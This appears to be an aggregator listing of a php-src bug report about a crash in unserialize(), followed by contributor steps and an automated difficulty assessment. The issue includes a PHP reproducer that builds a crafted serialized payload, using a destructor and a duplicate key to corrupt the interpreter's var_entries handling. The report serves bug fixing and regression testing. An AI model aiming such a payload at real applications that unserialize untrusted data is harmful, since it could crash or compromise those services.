php / php/php-src

Crash in unserialize()

Open
#21,824 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Bug Status: Verified
Dominant language
C
Stars
40.4k
Forks
8.1k
Avg merge
2d 13h
Merged PRs (30d)
96

Description

Description

Originally reported by @calysteon.

<?php
class Trigger {
    public function __destruct() {
        @unserialize('i:1;');
    }
}

$payload = 'a:1019:{';
for ($i = 0; $i < 1017; $i++) {
    $payload .= "i:$i;s:1:\"A\";";
}
// Entry that overflows into a second var_entries block
$payload .= 'i:1017;O:7:"Trigger":0:{}';
// Duplicate key overwrites Trigger, pushing it to dtor list (refcount stays at 1)
$payload .= 'i:1017;i:0;}';

$result = @unserialize($payload);
PHP Version
-
Operating System

No response

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by running the supplied PHP reproducer and tracing the unserialize() entry point, including the destructor-triggering behavior shown in the example. Done means this payload no longer crashes PHP and the regression is covered by an appropriate test.

Written by the indexing model from the issue text.

Assessment

Tech stack
c, php
Domain
backend
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
48/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.